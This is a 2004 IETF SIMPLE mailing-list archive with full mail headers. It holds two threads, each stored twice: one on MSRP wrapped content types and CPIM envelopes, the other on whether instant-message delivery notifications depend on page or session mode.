	id 1Ay2HP-0004t0-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:17:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2GU-0004m3-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:16:23 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2G0-0004eQ-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:15:52 -0500
Received: from sj-core-2.cisco.com (171.71.177.254)
  by sj-iport-2.cisco.com with ESMTP; 01 Mar 2004 21:26:46 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i225FKY6003935;
	Mon, 1 Mar 2004 21:15:20 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user16.cisco.com [10.70.82.16])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL12100;
	Tue, 2 Mar 2004 00:15:16 -0500 (EST)
Message-ID: <40441862.6080905@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
CC: "ext hisham.khartabil@nokia.com" <hisham.khartabil@nokia.com>,
        bcampbell@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] MSRP: Wrapped types
References: <2038BCC78B1AD641891A0D1AE133DBB70179780B@esebe019.ntc.nokia.com> <40437891.7080304@nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 00:15:14 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Aki,

I agree entirely. Note that I have no interest in complicating this 
further. I am just trying to flush out specific requirements, since I 
have had hallway conversations where such requirements were implied.

	Paul

Niemi Aki (Nokia-M/Espoo) wrote:
> 
> 
> ext hisham.khartabil@nokia.com wrote:
> 
>>
>>> -----Original Message----- From: ext Paul Kyzivat
>>> [mailto:pkyzivat@cisco.com] Sent: 01.March.2004 10:42 To: Khartabil
>>> Hisham (Nokia-TP-MSW/Helsinki) Cc: bcampbell@dynamicsoft.com;
>>> simple@ietf.org Subject: Re: [Simple] MSRP: Wrapped types
>>>
>>>
>>> If we are to do more than leave as is, then I think we need to
>>> revisit requirements. I have the impression that the people raising
>>>  issues may have different notions of what the requirements are.
>>>
>>> For instance, if there is a requirement to have messages wrapped in
>>>  cpim, and then the cpim wrapper must be signed, and using just
>>> signed, or just cpim isn't ok, then we can't meet the requirement.
>>
>>
>>
>> You can do that with the current solution. accept-types can have both
>> message/cpim and signed. This means that they can both appear as
>> wrapped types.
> 
> 
> Yes, they can both appear there, but you can't mandate special ordering, 
> i.e., that the message needs to first be wrapped in CPIM, then to 
> multipart/signed and not the other way around, or using only one of them.
> 
> This may be feature creep, but I think it's important to see whether 
> there are valid usages for this sort of thing because it's not really 
> something that can be added easily afterwards.
> 
> Cheers,
> Aki
> 
>> /Hisham
>>
>>
>>> Paul
>>>
>>> hisham.khartabil@nokia.com wrote:
>>>
>>>> My vote is to leave it as is. This is a solution that we
>>>
>>>
>>> were comfortable with after a long debate. The new proposals add no
>>> benefit.
>>>
>>>> /Hisham
>>>>
>>>>
>>>>
>>>>> -----Original Message----- From: simple-admin@ietf.org
>>>>
>>>
>>> [mailto:simple-admin@ietf.org]On Behalf Of
>>>
>>>>> ext Ben Campbell Sent: 27.February.2004 22:53 To:
>>>>> simple@ietf.org Subject: [Simple] MSRP: Wrapped types
>>>>>
>>>>>
>>>>> Another issue came up during the discussions several of us had
>>>>> a SIPIT. I am separating this out from the MSRP/SIMS
>>>>> harmonization email, as it is orthagonal to that.
>>>>>
>>>>> Several people commented that the existing "accept-types" and 
>>>>> "accept-wrapped-types" were overly confusing and error prone. To 
>>>>> recap, the point of this mechanism is to allow an MSRP
>>>>> device to accept a number of formats, but require them to be
>>>>> wrapped in an envelope of some sort. The motivation behind this
>>>>> is that a CPIM gateway may
>>>>
>>>
>>> allow any
>>>
>>>>> number of content-types, but insist that everything be wrapped
>>>>> in a message/cpim envelope.
>>>>>
>>>>> The existing mechanism says that any format listed in 
>>>>> "accept-types" can occur anywhere in a body, including at the
>>>>> root. Formats listed in "accept-wrapped-types" cannot occur at
>>>>> the root; that is, they must be wrapped inside of some format
>>>>> listed in "accept-types". This solves the problem, but it is
>>>>> pretty complicated and difficult to understand.
>>>>>
>>>>> Two possible alternatives were offered:
>>>>>
>>>>> 1) Get rid of the "accept-wrapped-types" attribute, and instead
>>>>> add an attribute that means "I require CPIM". This would mean
>>>>> that all content must be wrapped in message/cpim envelopes.
>>>>>
>>>>> 2) Generalize option 1 a little bit by adding an "envelope" 
>>>>> attribute. This attribute would contain a single format entry.
>>>>> All content must be wrapped in that format.
>>>>>
>>>>> And of course, there is an implied item 3: Leave it as is.
>>>>>
>>>>> Thoughts?
>>>>>
>>>>> Thanks!
>>>>>
>>>>> Ben.
>>>>>
>>>>> _______________________________________________ Simple mailing
>>>>> list Simple@ietf.org https://www1.ietf.org/mailman/listinfo/simple
>>>>>
>>>>
>>>>
>>>> _______________________________________________ Simple mailing
>>>> list Simple@ietf.org https://www1.ietf.org/mailman/listinfo/simple
>>>>
>>>
>>>
>>
>> _______________________________________________ Simple mailing list 
>> Simple@ietf.org https://www1.ietf.org/mailman/listinfo/simple
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 00:19:51 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02544
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 00:19:50 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2JP-0005kI-GL
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 00:19:23 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i225JNRQ022080
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 00:19:23 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2JP-0005k3-Cn
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 00:19:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02540
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 00:19:20 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2JM-000585-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:19:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2IU-00051V-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:18:27 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2I8-0004uF-00; Tue, 02 Mar 2004 00:18:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2I5-0005X3-8t; Tue, 02 Mar 2004 00:18:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2HR-0005RR-HH
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:17:21 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02389
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:17:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2HP-0004t0-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:17:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2GU-0004m3-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:16:23 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2G0-0004eQ-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:15:52 -0500
Received: from sj-core-2.cisco.com (171.71.177.254)
  by sj-iport-2.cisco.com with ESMTP; 01 Mar 2004 21:26:46 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i225FKY6003935;
	Mon, 1 Mar 2004 21:15:20 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user16.cisco.com [10.70.82.16])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL12100;
	Tue, 2 Mar 2004 00:15:16 -0500 (EST)
Message-ID: <40441862.6080905@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
CC: "ext hisham.khartabil@nokia.com" <hisham.khartabil@nokia.com>,
        bcampbell@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] MSRP: Wrapped types
References: <2038BCC78B1AD641891A0D1AE133DBB70179780B@esebe019.ntc.nokia.com> <40437891.7080304@nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 00:15:14 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Aki,

I agree entirely. Note that I have no interest in complicating this 
further. I am just trying to flush out specific requirements, since I 
have had hallway conversations where such requirements were implied.

	Paul

Niemi Aki (Nokia-M/Espoo) wrote:
> 
> 
> ext hisham.khartabil@nokia.com wrote:
> 
>>
>>> -----Original Message----- From: ext Paul Kyzivat
>>> [mailto:pkyzivat@cisco.com] Sent: 01.March.2004 10:42 To: Khartabil
>>> Hisham (Nokia-TP-MSW/Helsinki) Cc: bcampbell@dynamicsoft.com;
>>> simple@ietf.org Subject: Re: [Simple] MSRP: Wrapped types
>>>
>>>
>>> If we are to do more than leave as is, then I think we need to
>>> revisit requirements. I have the impression that the people raising
>>>  issues may have different notions of what the requirements are.
>>>
>>> For instance, if there is a requirement to have messages wrapped in
>>>  cpim, and then the cpim wrapper must be signed, and using just
>>> signed, or just cpim isn't ok, then we can't meet the requirement.
>>
>>
>>
>> You can do that with the current solution. accept-types can have both
>> message/cpim and signed. This means that they can both appear as
>> wrapped types.
> 
> 
> Yes, they can both appear there, but you can't mandate special ordering, 
> i.e., that the message needs to first be wrapped in CPIM, then to 
> multipart/signed and not the other way around, or using only one of them.
> 
> This may be feature creep, but I think it's important to see whether 
> there are valid usages for this sort of thing because it's not really 
> something that can be added easily afterwards.
> 
> Cheers,
> Aki
> 
>> /Hisham
>>
>>
>>> Paul
>>>
>>> hisham.khartabil@nokia.com wrote:
>>>
>>>> My vote is to leave it as is. This is a solution that we
>>>
>>>
>>> were comfortable with after a long debate. The new proposals add no
>>> benefit.
>>>
>>>> /Hisham
>>>>
>>>>
>>>>
>>>>> -----Original Message----- From: simple-admin@ietf.org
>>>>
>>>
>>> [mailto:simple-admin@ietf.org]On Behalf Of
>>>
>>>>> ext Ben Campbell Sent: 27.February.2004 22:53 To:
>>>>> simple@ietf.org Subject: [Simple] MSRP: Wrapped types
>>>>>
>>>>>
>>>>> Another issue came up during the discussions several of us had
>>>>> a SIPIT. I am separating this out from the MSRP/SIMS
>>>>> harmonization email, as it is orthagonal to that.
>>>>>
>>>>> Several people commented that the existing "accept-types" and 
>>>>> "accept-wrapped-types" were overly confusing and error prone. To 
>>>>> recap, the point of this mechanism is to allow an MSRP
>>>>> device to accept a number of formats, but require them to be
>>>>> wrapped in an envelope of some sort. The motivation behind this
>>>>> is that a CPIM gateway may
>>>>
>>>
>>> allow any
>>>
>>>>> number of content-types, but insist that everything be wrapped
>>>>> in a message/cpim envelope.
>>>>>
>>>>> The existing mechanism says that any format listed in 
>>>>> "accept-types" can occur anywhere in a body, including at the
>>>>> root. Formats listed in "accept-wrapped-types" cannot occur at
>>>>> the root; that is, they must be wrapped inside of some format
>>>>> listed in "accept-types". This solves the problem, but it is
>>>>> pretty complicated and difficult to understand.
>>>>>
>>>>> Two possible alternatives were offered:
>>>>>
>>>>> 1) Get rid of the "accept-wrapped-types" attribute, and instead
>>>>> add an attribute that means "I require CPIM". This would mean
>>>>> that all content must be wrapped in message/cpim envelopes.
>>>>>
>>>>> 2) Generalize option 1 a little bit by adding an "envelope" 
>>>>> attribute. This attribute would contain a single format entry.
>>>>> All content must be wrapped in that format.
>>>>>
>>>>> And of course, there is an implied item 3: Leave it as is.
>>>>>
>>>>> Thoughts?
>>>>>
>>>>> Thanks!
>>>>>
>>>>> Ben.
>>>>>
>>>>> _______________________________________________ Simple mailing
>>>>> list Simple@ietf.org https://www1.ietf.org/mailman/listinfo/simple
>>>>>
>>>>
>>>>
>>>> _______________________________________________ Simple mailing
>>>> list Simple@ietf.org https://www1.ietf.org/mailman/listinfo/simple
>>>>
>>>
>>>
>>
>> _______________________________________________ Simple mailing list 
>> Simple@ietf.org https://www1.ietf.org/mailman/listinfo/simple
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 00:25:15 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02874
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 00:25:15 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2P5-0005oY-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:25:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2OC-0005i4-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:24:21 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Nv-0005bp-00; Tue, 02 Mar 2004 00:24:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2Nu-0006Ew-Ut; Tue, 02 Mar 2004 00:24:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2NF-000691-LQ
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:23:21 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02713
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:23:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2ND-0005Zu-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:23:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2ME-0005Tz-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:22:19 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Ls-0005Nb-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:21:56 -0500
Received: from sj-core-1.cisco.com (171.71.177.237)
  by sj-iport-3.cisco.com with ESMTP; 01 Mar 2004 21:33:33 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i225LOF8027617;
	Mon, 1 Mar 2004 21:21:24 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user16.cisco.com [10.70.82.16])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL12305;
	Tue, 2 Mar 2004 00:21:21 -0500 (EST)
Message-ID: <404419D0.20406@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Eric Burger <eburger@snowshore.com>
CC: simple@ietf.org
Subject: Re: [Simple] RE: Advanced IM requirements
References: <4A3384433CE2AB46A63468CB207E209DB1A21C@zoe.office.snowshore.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 00:21:20 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Eric Burger wrote:
> The first example is where the message sender is in a session and wants a notification on a particular message.  In that case, one could argue that the notification is still a one-shot message, and does not need a session.
> 
> I could see that someone could request confirmation on every message they send.  In that case, an optimization would be to have the notifications streamed.  That said, I think that use case really would drive a different protocol (Reliable IM?).

Yes, I agree.

> The second example is where the message sender sends a message to an exploder or conference bridge.  The first thing we should consider is whether the notification comes from the exploder/bridge or from the endpoints themselves.  In the SIP world, it does make a difference if we are talking exploder vs. bridge.  In the exploder case, the notifications come from the endpoints themselves.  Stream mode for the responses does not necessarily help.
> 
> In the bridge case, the endpoint only has a dialog with the bridge.  Thus, the bridge is where the notification has to come from.  The bridge could act as a state agent, optimizing network usage either by aggregating responses or opening a session for notifications.
> 
> Am I off-base in thinking the transport mode (stream v. one-shot) is independent of the notification?

The reason I posted this message was that in a prior message you seemed 
to be suggesting that delivery notification might not be required for 
session mode messages.

I too think that the mode (page/session) used for delivery notifications 
is independent of the mode used for the message being confirmed.

	Paul

>>-----Original Message-----
>>From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>Sent: Monday, March 01, 2004 1:44 AM
>>To: Eric Burger
>>Cc: simple@ietf.org
>>Subject: Re: [Simple] RE: Advanced IM requirements
>>
>>
>>
>>
>>Eric Burger wrote:
>>
>>>I agree.  Again, this highlights why IMDN is at the CPIM, 
>>
>>and not SIP, level.
>>
>>>Further, what is the use case for MDN in session mode?  
>>
>>Would anyone EVER use it?  I doubt it: if you are in a 
>>session, presumably you are interactive, which means you have 
>>OOB methods for knowing the message wasn't read (e.g., no 
>>response from the other person).
>>
>>I agree it doesn't seem like something that normally would be 
>>used. But 
>>there may be some cases. I may want explicit confirmation that a 
>>particular message has not only been delivered, but read. (This might 
>>require the UAS to demand some explicit confirmation from the 
>>end user 
>>before sending the confirmation.)
>>
>>Another case is with an IM conference. If I send a message to 
>>the mixer, 
>>requesting confirmation, ideally that would be an end-to-all-ends 
>>confirmation. The mixer would have to request and receive 
>>confirmation 
>>from all recipients before confirming to sender.
>>
>>
>>>Given that assertion, can we say IMDN's are page mode messages.
>>
>>Based on above, I say NO.
>>
>>	Paul
>>
>>
>>
> 
> 
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 00:25:46 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02903
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 00:25:46 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2P8-0006n0-Ua
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 00:25:19 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i225PIAj026092
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 00:25:18 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2P8-0006ml-Pj
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 00:25:18 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02891
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 00:25:15 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2P6-0005od-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:25:16 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2OD-0005iB-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:24:22 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Nv-0005bp-00; Tue, 02 Mar 2004 00:24:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2Nu-0006Ew-Ut; Tue, 02 Mar 2004 00:24:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2NF-000691-LQ
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:23:21 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA02713
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:23:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2ND-0005Zu-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:23:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2ME-0005Tz-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:22:19 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Ls-0005Nb-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:21:56 -0500
Received: from sj-core-1.cisco.com (171.71.177.237)
  by sj-iport-3.cisco.com with ESMTP; 01 Mar 2004 21:33:33 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i225LOF8027617;
	Mon, 1 Mar 2004 21:21:24 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user16.cisco.com [10.70.82.16])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL12305;
	Tue, 2 Mar 2004 00:21:21 -0500 (EST)
Message-ID: <404419D0.20406@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Eric Burger <eburger@snowshore.com>
CC: simple@ietf.org
Subject: Re: [Simple] RE: Advanced IM requirements
References: <4A3384433CE2AB46A63468CB207E209DB1A21C@zoe.office.snowshore.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 00:21:20 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Eric Burger wrote:
> The first example is where the message sender is in a session and wants a notification on a particular message.  In that case, one could argue that the notification is still a one-shot message, and does not need a session.
> 
> I could see that someone could request confirmation on every message they send.  In that case, an optimization would be to have the notifications streamed.  That said, I think that use case really would drive a different protocol (Reliable IM?).

Yes, I agree.

> The second example is where the message sender sends a message to an exploder or conference bridge.  The first thing we should consider is whether the notification comes from the exploder/bridge or from the endpoints themselves.  In the SIP world, it does make a difference if we are talking exploder vs. bridge.  In the exploder case, the notifications come from the endpoints themselves.  Stream mode for the responses does not necessarily help.
> 
> In the bridge case, the endpoint only has a dialog with the bridge.  Thus, the bridge is where the notification has to come from.  The bridge could act as a state agent, optimizing network usage either by aggregating responses or opening a session for notifications.
> 
> Am I off-base in thinking the transport mode (stream v. one-shot) is independent of the notification?

The reason I posted this message was that in a prior message you seemed 
to be suggesting that delivery notification might not be required for 
session mode messages.

I too think that the mode (page/session) used for delivery notifications 
is independent of the mode used for the message being confirmed.

	Paul

>>-----Original Message-----
>>From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>Sent: Monday, March 01, 2004 1:44 AM
>>To: Eric Burger
>>Cc: simple@ietf.org
>>Subject: Re: [Simple] RE: Advanced IM requirements
>>
>>
>>
>>
>>Eric Burger wrote:
>>
>>>I agree.  Again, this highlights why IMDN is at the CPIM, 
>>
>>and not SIP, level.
>>
>>>Further, what is the use case for MDN in session mode?  
>>
>>Would anyone EVER use it?  I doubt it: if you are in a 
>>session, presumably you are interactive, which means you have 
>>OOB methods for knowing the message wasn't read (e.g., no 
>>response from the other person).
>>
>>I agree it doesn't seem like something that normally would be 
>>used. But 
>>there may be some cases. I may want explicit confirmation that a 
>>particular message has not only been delivered, but read. (This might 
>>require the UAS to demand some explicit confirmation from the 
>>end user 
>>before sending the confirmation.)
>>
>>Another case is with an IM conference. If I send a message to 
>>the mixer, 
>>requesting confirmation, ideally that would be an end-to-all-ends 
>>confirmation. The mixer would have to request and receive 
>>confirmation 
>>from all recipients before confirming to sender.
>>
>>
>>>Given that assertion, can we say IMDN's are page mode messages.
>>
>>Based on above, I say NO.
>>
>>	Paul
>>
>>
>>
> 
> 
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
